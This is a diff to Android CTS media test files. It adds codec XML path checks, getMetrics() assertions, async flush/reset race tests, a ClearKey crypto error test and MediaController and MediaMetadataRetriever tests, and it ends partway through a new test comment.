--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -40,6 +40,8 @@
 
     private static final String TAG = "MediaCodecListTest";
     private static final String MEDIA_CODEC_XML_FILE = "/etc/media_codecs.xml";
+    private static final String VENDOR_MEDIA_CODEC_XML_FILE = "/vendor/etc/media_codecs.xml";
+    private static final String ODM_MEDIA_CODEC_XML_FILE = "/odm/etc/media_codecs.xml";
     private final MediaCodecList mRegularCodecs =
             new MediaCodecList(MediaCodecList.REGULAR_CODECS);
     private final MediaCodecList mAllCodecs =
@@ -92,7 +94,10 @@
 
     public static void testMediaCodecXmlFileExist() {
         File file = new File(MEDIA_CODEC_XML_FILE);
-        assertTrue("/etc/media_codecs.xml does not exist", file.exists());
+        File vendorFile = new File(VENDOR_MEDIA_CODEC_XML_FILE);
+        File odmFile = new File(ODM_MEDIA_CODEC_XML_FILE);
+        assertTrue("media_codecs.xml does not exist in /odm/etc, /vendor/etc or /etc.",
+                file.exists() || vendorFile.exists() || odmFile.exists());
     }
 
     private MediaCodecInfo[] getLegacyInfos() {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 41571da..56cbc93 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -19,7 +19,6 @@
 import android.media.cts.R;
 
 import android.content.res.AssetFileDescriptor;
-import android.cts.util.MediaUtils;
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodec.CodecException;
@@ -27,6 +26,8 @@
 import android.media.MediaCodec.CryptoInfo.Pattern;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaCodecInfo.CodecCapabilities;
@@ -34,14 +35,20 @@
 import android.opengl.GLES20;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.PersistableBundle;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.view.Surface;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -56,6 +63,8 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@SmallTest
+@RequiresDevice
 public class MediaCodecTest extends AndroidTestCase {
     private static final String TAG = "MediaCodecTest";
     private static final boolean VERBOSE = false;           // lots of logging
@@ -82,6 +91,13 @@
     private boolean mAudioEncoderHadError = false;
     private volatile boolean mVideoEncodingOngoing = false;
 
+    private static final int INPUT_RESOURCE_ID =
+            R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+
+    // The test should fail if the decoder never produces output frames for the input.
+    // Time out decoding, as we have no way to query whether the decoder will produce output.
+    private static final int DECODING_TIMEOUT_MS = 10000;
+
     /**
      * Tests:
      * <br> Exceptions for MediaCodec factory methods
@@ -144,6 +160,8 @@
             return false;
         }
 
+        final boolean isVideoEncoder = isEncoder && mimeType.startsWith("video/");
+
         // create codec (enter Initialized State)
         MediaCodec codec;
 
@@ -238,14 +256,34 @@
                 fail("createInputSurface should not work on a decoder");
             }
         } catch (IllegalStateException e) { // expected for decoder and audio encoder
-            if (isEncoder && format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+            if (isVideoEncoder) {
                 throw e;
             }
         }
 
+        // test getInputBuffers before start()
+        try {
+            ByteBuffer[] buffers = codec.getInputBuffers();
+            fail("getInputBuffers called before start() should throw exception");
+        } catch (IllegalStateException e) { // expected
+        }
+
         // start codec (enter Executing state)
         codec.start();
 
+        // test getInputBuffers after start()
+        try {
+            ByteBuffer[] buffers = codec.getInputBuffers();
+            if (buffers == null) {
+                fail("getInputBuffers called after start() should not return null");
+            }
+            if (isVideoEncoder && buffers.length > 0) {
+                fail("getInputBuffers returned non-zero length array with input surface");
+            }
+        } catch (IllegalStateException e) {
+            fail("getInputBuffers called after start() shouldn't throw exception");
+        }
+
         // test a few commands
         try {
             codec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
@@ -521,6 +559,103 @@
         callbackThread.join();
     }
 
+    public void testAsyncFlushAndReset() throws Exception, InterruptedException {
+        testAsyncReset(false /* testStop */);
+    }
+
+    public void testAsyncStopAndReset() throws Exception, InterruptedException {
+        testAsyncReset(true /* testStop */);
+    }
+
+    private void testAsyncReset(boolean testStop) throws Exception, InterruptedException {
+        // Test video and audio 10x each
+        for (int i = 0; i < 10; i++) {
+            testAsyncReset(false /* audio */, (i % 2) == 0 /* swap */, testStop);
+        }
+        for (int i = 0; i < 10; i++) {
+            testAsyncReset(true /* audio */, (i % 2) == 0 /* swap */, testStop);
+        }
+    }
+
+    /*
+     * This method simulates a race between flush (or stop) and reset() called from
+     * two threads. Neither call should get stuck. This should be run multiple rounds.
+     */
+    private void testAsyncReset(boolean audio, boolean swap, final boolean testStop)
+            throws Exception, InterruptedException {
+        String mimeTypePrefix  = audio ? "audio/" : "video/";
+        final MediaExtractor mediaExtractor = getMediaExtractorForMimeType(
+                INPUT_RESOURCE_ID, mimeTypePrefix);
+        MediaFormat mediaFormat = mediaExtractor.getTrackFormat(
+                mediaExtractor.getSampleTrackIndex());
+        if (!MediaUtils.checkDecoderForFormat(mediaFormat)) {
+            return; // skip
+        }
+
+        OutputSurface outputSurface = audio ? null : new OutputSurface(1, 1);
+        final Surface surface = outputSurface == null ? null : outputSurface.getSurface();
+
+        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+        final MediaCodec mediaCodec = MediaCodec.createDecoderByType(mimeType);
+
+        try {
+            mediaCodec.configure(mediaFormat, surface, null /* crypto */, 0 /* flags */);
+
+            mediaCodec.start();
+
+            assertTrue(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
+
+            Thread flushingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        if (testStop) {
+                            mediaCodec.stop();
+                        } else {
+                            mediaCodec.flush();
+                        }
+                    } catch (IllegalStateException e) {
+                        // This is okay, since we're simulating a race between flush and reset.
+                        // If reset executed first, flush could fail.
+                    }
+                }
+            });
+
+            Thread resettingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    mediaCodec.reset();
+                }
+            });
+
+            // start flushing (or stopping) and resetting in two threads
+            if (swap) {
+                flushingThread.start();
+                resettingThread.start();
+            } else {
+                resettingThread.start();
+                flushingThread.start();
+            }
+
+            // wait for at most 5 sec, and check if the thread exits properly
+            flushingThread.join(5000);
+            assertFalse(flushingThread.isAlive());
+
+            resettingThread.join(5000);
+            assertFalse(resettingThread.isAlive());
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+        }
+    }
+
     private static class FlushThread extends Thread {
         final MediaCodec mEncoder;
         final CountDownLatch mBuffersExhausted;
@@ -784,6 +919,21 @@
                 // good
             }
 
+            PersistableBundle metrics = encoder.getMetrics();
+            if (metrics == null) {
+                fail("getMetrics() returns null");
+            } else if (metrics.isEmpty()) {
+                fail("getMetrics() returns empty results");
+            }
+            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoding != 1) {
+                fail("getMetrics() returns bad encoder value " + encoding);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
         } finally {
             if (encoder != null) {
                 encoder.stop();
@@ -838,6 +988,22 @@
             } catch (IllegalStateException ise) {
                 // good
             }
+
+            PersistableBundle metrics = encoder.getMetrics();
+            if (metrics == null) {
+                fail("getMetrics() returns null");
+            } else if (metrics.isEmpty()) {
+                fail("getMetrics() returns empty results");
+            }
+            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoding != 1) {
+                fail("getMetrics() returns bad encoder value " + encoding);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
         } finally {
             if (encoder != null) {
                 encoder.stop();
@@ -855,13 +1021,6 @@
     }
 
     private void testDecodeAfterFlush(final boolean audio) throws InterruptedException {
-        final int INPUT_RESOURCE_ID =
-                R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
-
-        // The test should fail if the decoder never produces output frames for the input.
-        // Time out decoding, as we have no way to query whether the decoder will produce output.
-        final int DECODING_TIMEOUT_MS = 10000;
-
         final AtomicBoolean completed = new AtomicBoolean(false);
         Thread decodingThread = new Thread(new Runnable() {
             @Override
@@ -891,16 +1050,63 @@
                         throw new RuntimeException("decoder does not generate non-empty output.");
                     }
 
+                    PersistableBundle metrics = mediaCodec.getMetrics();
+                    if (metrics == null) {
+                        fail("getMetrics() returns null");
+                    } else if (metrics.isEmpty()) {
+                        fail("getMetrics() returns empty results");
+                    }
+                    int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                    if (encoder != 0) {
+                        fail("getMetrics() returns bad encoder value " + encoder);
+                    }
+                    String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                    if (theCodec == null) {
+                        fail("getMetrics() returns null codec value ");
+                    }
+
+
                     // simulate application flush.
                     mediaExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                     mediaCodec.flush();
 
                     completed.set(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
+                    metrics = mediaCodec.getMetrics();
+                    if (metrics == null) {
+                        fail("getMetrics() returns null");
+                    } else if (metrics.isEmpty()) {
+                        fail("getMetrics() returns empty results");
+                    }
+                    int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                    if (encoding != 0) {
+                        fail("getMetrics() returns bad encoder value " + encoding);
+                    }
+                    String theCodec2 = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                    if (theCodec2 == null) {
+                        fail("getMetrics() returns null codec value ");
+                    }
+
                 } catch (IOException e) {
                     throw new RuntimeException("error setting up decoding", e);
                 } finally {
                     if (mediaCodec != null) {
                         mediaCodec.stop();
+
+                        PersistableBundle metrics = mediaCodec.getMetrics();
+                        if (metrics == null) {
+                            fail("getMetrics() returns null");
+                        } else if (metrics.isEmpty()) {
+                            fail("getMetrics() returns empty results");
+                        }
+                        int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                        if (encoder != 0) {
+                            fail("getMetrics() returns bad encoder value " + encoder);
+                        }
+                        String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                        if (theCodec == null) {
+                            fail("getMetrics() returns null codec value ");
+                        }
+
                         mediaCodec.release();
                     }
                     if (mediaExtractor != null) {
@@ -960,6 +1166,18 @@
             }
             assertTrue("Wrong output buffer index", outputBufferIndex >= 0);
 
+            PersistableBundle metrics = mediaCodec.getMetrics();
+            Log.d(TAG, "getMetrics after first buffer metrics says: " + metrics);
+
+            int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoder != 0) {
+                fail("getMetrics() returns bad encoder value " + encoder);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
             mediaCodec.releaseOutputBuffer(outputBufferIndex, false /* render */);
             boolean eos = (outputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
             Log.i("DEBUG", "Got a frame with eos=" + eos);
@@ -1519,7 +1737,7 @@
             if (!encoder && info.isEncoder()) {
                 continue;
             }
-            
+
             for (String type : info.getSupportedTypes()) {
                 if (type.equalsIgnoreCase(mimeType)) {
                     return true;
@@ -1528,4 +1746,53 @@
         }
         return false;
     }
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    /**
+     * Tests:
+     * <br> queueSecureInputBuffer() with erroneous input throws CryptoException
+     * <br> getInputBuffer() after the failed queueSecureInputBuffer() succeeds.
+     */
+    public void testCryptoError() throws Exception {
+        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+        byte[] sessionId = drm.openSession();
+        MediaCrypto crypto = new MediaCrypto(CLEARKEY_SCHEME_UUID, new byte[0]);
+        MediaCodec codec = MediaCodec.createDecoderByType(MIME_TYPE);
+
+        try {
+            crypto.setMediaDrmSession(sessionId);
+
+            MediaCodec.CryptoInfo cryptoInfo = new MediaCodec.CryptoInfo();
+            MediaFormat format = createMediaFormat();
+
+            codec.configure(format, null, crypto, 0);
+            codec.start();
+            int index = codec.dequeueInputBuffer(-1);
+            assertTrue(index >= 0);
+            ByteBuffer buffer = codec.getInputBuffer(index);
+            cryptoInfo.set(
+                    1,
+                    new int[] { 0 },
+                    new int[] { buffer.capacity() },
+                    new byte[16],
+                    new byte[16],
+                    // Trying to decrypt encrypted data in unencrypted mode
+                    MediaCodec.CRYPTO_MODE_UNENCRYPTED);
+            try {
+                codec.queueSecureInputBuffer(index, 0, cryptoInfo, 0, 0);
+                fail("queueSecureInputBuffer should fail when trying to decrypt " +
+                        "encrypted data in unencrypted mode.");
+            } catch (MediaCodec.CryptoException e) {
+                // expected
+            }
+            buffer = codec.getInputBuffer(index);
+            codec.stop();
+        } finally {
+            codec.release();
+            crypto.release();
+            drm.closeSession(sessionId);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java b/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
new file mode 100644
index 0000000..cb9b25e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.Callback;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import java.nio.ByteBuffer;
+
+/**
+ * This interface exposes the minimum set of {@link MediaCodec} APIs tested in {@link EncodeDecodeTest}
+ * and {@link VpxEncoderTest}.
+ */
+public interface MediaCodecWrapper {
+
+  void release();
+
+  void configure(MediaFormat format, int flags);
+
+  void setInputSurface(InputSurfaceInterface inputSurface);
+
+  InputSurfaceInterface createInputSurface();
+
+  void start();
+
+  void stop();
+
+  int dequeueOutputBuffer(BufferInfo info, long timeoutUs);
+
+  void releaseOutputBuffer(int index, boolean render);
+
+  void signalEndOfInputStream();
+
+  String getOutputFormatString();
+
+  ByteBuffer getOutputBuffer(int index);
+
+  ByteBuffer[] getOutputBuffers();
+
+  ByteBuffer getInputBuffer(int index);
+
+  ByteBuffer[] getInputBuffers();
+
+  void queueInputBuffer(
+          int index,
+          int offset,
+          int size,
+          long presentationTimeUs,
+          int flags);
+
+  int dequeueInputBuffer(long timeoutUs);
+
+  void setParameters(Bundle params);
+
+  void setCallback(Callback mCallback);
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index b8ec617..17588ee 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -15,6 +15,7 @@
  */
 package android.media.cts;
 
+import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.Rating;
 import android.media.VolumeProvider;
@@ -52,6 +53,22 @@
         mController = mSession.getController();
     }
 
+    public void testGetPackageName() {
+        assertEquals(getContext().getPackageName(), mController.getPackageName());
+    }
+
+    public void testGetRatingType() {
+        assertEquals("Default rating type of a session must be Rating.RATING_NONE",
+                Rating.RATING_NONE, mController.getRatingType());
+
+        mSession.setRatingType(Rating.RATING_5_STARS);
+        assertEquals(Rating.RATING_5_STARS, mController.getRatingType());
+    }
+
+    public void testGetSessionToken() throws Exception {
+        assertEquals(mSession.getSessionToken(), mController.getSessionToken());
+    }
+
     public void testSendCommand() throws Exception {
         synchronized (mWaitLock) {
             mCallback.reset();
@@ -113,41 +130,57 @@
 
     public void testTransportControlsAndMediaSessionCallback() throws Exception {
         MediaController.TransportControls controls = mController.getTransportControls();
+        final MediaSession.Callback callback = (MediaSession.Callback) mCallback;
+
         synchronized (mWaitLock) {
             mCallback.reset();
             controls.play();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPlayCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onPlay();
 
             mCallback.reset();
             controls.pause();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPauseCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onPause();
 
             mCallback.reset();
             controls.stop();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnStopCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onStop();
 
             mCallback.reset();
             controls.fastForward();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnFastForwardCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onFastForward();
 
             mCallback.reset();
             controls.rewind();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnRewindCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onRewind();
 
             mCallback.reset();
             controls.skipToPrevious();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToPreviousCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onSkipToPrevious();
 
             mCallback.reset();
             controls.skipToNext();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToNextCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onSkipToNext();
 
             mCallback.reset();
             final long seekPosition = 1000;
@@ -155,6 +188,8 @@
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSeekToCalled);
             assertEquals(seekPosition, mCallback.mSeekPosition);
+            // just call the callback once directly so it's marked as tested
+            callback.onSeekTo(mCallback.mSeekPosition);
 
             mCallback.reset();
             final Rating rating = Rating.newStarRating(Rating.RATING_5_STARS, 3f);
@@ -163,6 +198,8 @@
             assertTrue(mCallback.mOnSetRatingCalled);
             assertEquals(rating.getRatingStyle(), mCallback.mRating.getRatingStyle());
             assertEquals(rating.getStarRating(), mCallback.mRating.getStarRating());
+            // just call the callback once directly so it's marked as tested
+            callback.onSetRating(mCallback.mRating);
 
             mCallback.reset();
             final String mediaId = "test-media-id";
@@ -173,6 +210,8 @@
             assertTrue(mCallback.mOnPlayFromMediaIdCalled);
             assertEquals(mediaId, mCallback.mMediaId);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onPlayFromMediaId(mCallback.mMediaId, mCallback.mExtras);
 
             mCallback.reset();
             final String query = "test-query";
@@ -181,6 +220,8 @@
             assertTrue(mCallback.mOnPlayFromSearchCalled);
             assertEquals(query, mCallback.mQuery);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onPlayFromSearch(mCallback.mQuery, mCallback.mExtras);
 
             mCallback.reset();
             final Uri uri = Uri.parse("content://test/popcorn.mod");
@@ -189,6 +230,8 @@
             assertTrue(mCallback.mOnPlayFromUriCalled);
             assertEquals(uri, mCallback.mUri);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onPlayFromUri(mCallback.mUri, mCallback.mExtras);
 
             mCallback.reset();
             final String action = "test-action";
@@ -197,6 +240,8 @@
             assertTrue(mCallback.mOnCustomActionCalled);
             assertEquals(action, mCallback.mAction);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
 
             mCallback.reset();
             mCallback.mOnCustomActionCalled = false;
@@ -207,6 +252,8 @@
             assertTrue(mCallback.mOnCustomActionCalled);
             assertEquals(action, mCallback.mAction);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
 
             mCallback.reset();
             final long queueItemId = 1000;
@@ -214,11 +261,15 @@
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSkipToQueueItemCalled);
             assertEquals(queueItemId, mCallback.mQueueItemId);
+            // just call the callback once directly so it's marked as tested
+            callback.onSkipToQueueItem(mCallback.mQueueItemId);
 
             mCallback.reset();
             controls.prepare();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPrepareCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onPrepare();
 
             mCallback.reset();
             controls.prepareFromMediaId(mediaId, extras);
@@ -226,6 +277,8 @@
             assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
             assertEquals(mediaId, mCallback.mMediaId);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onPrepareFromMediaId(mCallback.mMediaId, mCallback.mExtras);
 
             mCallback.reset();
             controls.prepareFromSearch(query, extras);
@@ -233,6 +286,8 @@
             assertTrue(mCallback.mOnPrepareFromSearchCalled);
             assertEquals(query, mCallback.mQuery);
             assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onPrepareFromSearch(mCallback.mQuery, mCallback.mExtras);
 
             mCallback.reset();
             controls.prepareFromUri(uri, extras);
@@ -243,6 +298,23 @@
         }
     }
 
+    public void testPlaybackInfo() {
+        final int playbackType = MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL;
+        final int volumeControl = VolumeProvider.VOLUME_CONTROL_ABSOLUTE;
+        final int maxVolume = 10;
+        final int currentVolume = 3;
+
+        AudioAttributes audioAttributes = new AudioAttributes.Builder().build();
+        MediaController.PlaybackInfo info = new MediaController.PlaybackInfo(
+                playbackType, audioAttributes, volumeControl, maxVolume, currentVolume);
+
+        assertEquals(playbackType, info.getPlaybackType());
+        assertEquals(audioAttributes, info.getAudioAttributes());
+        assertEquals(volumeControl, info.getVolumeControl());
+        assertEquals(maxVolume, info.getMaxVolume());
+        assertEquals(currentVolume, info.getCurrentVolume());
+    }
+
     private class MediaSessionCallback extends MediaSession.Callback {
         private long mSeekPosition;
         private long mQueueItemId;
@@ -415,7 +487,7 @@
         @Override
         public void onCustomAction(String action, Bundle extras) {
             synchronized (mWaitLock) {
-                mOnCustomActionCalled= true;
+                mOnCustomActionCalled = true;
                 mAction = action;
                 mExtras = extras;
                 mWaitLock.notify();
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 9958e26..b6f34f4 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -22,6 +22,7 @@
 import android.content.res.Resources;
 import android.media.MediaDataSource;
 import android.media.MediaExtractor;
+import android.os.PersistableBundle;
 import android.test.AndroidTestCase;
 
 import java.io.IOException;
@@ -107,5 +108,18 @@
             assertTrue(mExtractor.readSampleData(buf, 0) > 0);
             assertTrue(mExtractor.advance());
         }
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mExtractor.getMetrics();
+        if (metrics == null) {
+            fail("getMetrics() returns no data");
+        } else {
+            // ensure existence of some known fields
+            int tracks = metrics.getInt(MediaExtractor.MetricsConstants.TRACKS, -1);
+            if (tracks != trackCount) {
+                fail("getMetrics() trackCount expect " + trackCount + " got " + tracks);
+            }
+        }
+
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index 4eefaa7..dc12b97 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -40,6 +40,7 @@
         assertEquals(MediaItem.FLAG_BROWSABLE, mediaItem.getFlags());
         assertTrue(mediaItem.isBrowsable());
         assertFalse(mediaItem.isPlayable());
+        assertEquals(0, mediaItem.describeContents());
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
@@ -62,6 +63,7 @@
         assertEquals(MediaItem.FLAG_PLAYABLE, mediaItem.getFlags());
         assertFalse(mediaItem.isBrowsable());
         assertTrue(mediaItem.isPlayable());
+        assertEquals(0, mediaItem.describeContents());
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 890073c..2a67b64 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -20,14 +20,29 @@
 
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
 import android.media.MediaDataSource;
 import android.media.MediaMetadataRetriever;
+import android.graphics.Bitmap;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import static android.media.MediaMetadataRetriever.OPTION_CLOSEST;
+import static android.media.MediaMetadataRetriever.OPTION_CLOSEST_SYNC;
+import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
+import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
 
 import java.io.IOException;
 
+@SmallTest
+@RequiresDevice
 public class MediaMetadataRetrieverTest extends AndroidTestCase {
+    private static final String TAG = "MediaMetadataRetrieverTest";
+    private static final boolean SAVE_BITMAP_OUTPUT = false;
+
     protected Resources mResources;
     protected MediaMetadataRetriever mRetriever;
 
@@ -66,6 +81,22 @@
         return ds;
     }
 
+    protected TestMediaDataSource getFaultyDataSource(int resid, boolean throwing) {
+        TestMediaDataSource ds = null;
+        try {
+            AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+            ds = TestMediaDataSource.fromAssetFd(afd);
+            if (throwing) {
+                ds.throwFromReadAt();
+            } else {
+                ds.returnFromReadAt(-2);
+            }
+        } catch (Exception e) {
+            fail("Unable to open file");
+        }
+        return ds;
+    }
+
     public void test3gppMetadata() {
         setDataSourceCallback(R.raw.testvideo);
 
@@ -156,15 +187,23 @@
     }
 
     public void testRetrieveFailsIfMediaDataSourceThrows() throws Exception {
-        TestMediaDataSource dataSource = setDataSourceCallback(R.raw.testvideo);
-        dataSource.throwFromReadAt();
-        assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        TestMediaDataSource ds = getFaultyDataSource(R.raw.testvideo, true /* throwing */);
+        try {
+            mRetriever.setDataSource(ds);
+            fail("Failed to throw exceptions");
+        } catch (RuntimeException e) {
+            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        }
     }
 
     public void testRetrieveFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        TestMediaDataSource dataSource = setDataSourceCallback(R.raw.testvideo);
-        dataSource.returnFromReadAt(-2);
-        assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        TestMediaDataSource ds = getFaultyDataSource(R.raw.testvideo, false /* throwing */);
+        try {
+            mRetriever.setDataSource(ds);
+            fail("Failed to throw exceptions");
+        } catch (RuntimeException e) {
+            assertTrue(mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE) == null);
+        }
     }
 
     private void testThumbnail(int resId) {
@@ -211,4 +250,80 @@
     public void testThumbnailHEVC() {
         testThumbnail(R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz);
     }
+
+
+    /**
+     * The following tests verifies MediaMetadataRetriever.getFrameAtTime behavior.
+     *
+     * We use a simple stream with binary counter at the top to check which frame
+     * is actually captured. The stream is 30fps with 600 frames in total. It has
+     * I/P/B frames, with I interval of 30. Due to the encoding structure, pts starts
+     * at 66666 (instead of 0), so we have I frames at 66666, 1066666, ..., etc..
+     *
+     * For each seek option, we check the following five cases:
+     *     1) frame time falls right on a sync frame
+     *     2) frame time is near the middle of two sync frames but closer to the previous one
+     *     3) frame time is near the middle of two sync frames but closer to the next one
+     *     4) frame time is shortly before a sync frame
+     *     5) frame time is shortly after a sync frame
+     */
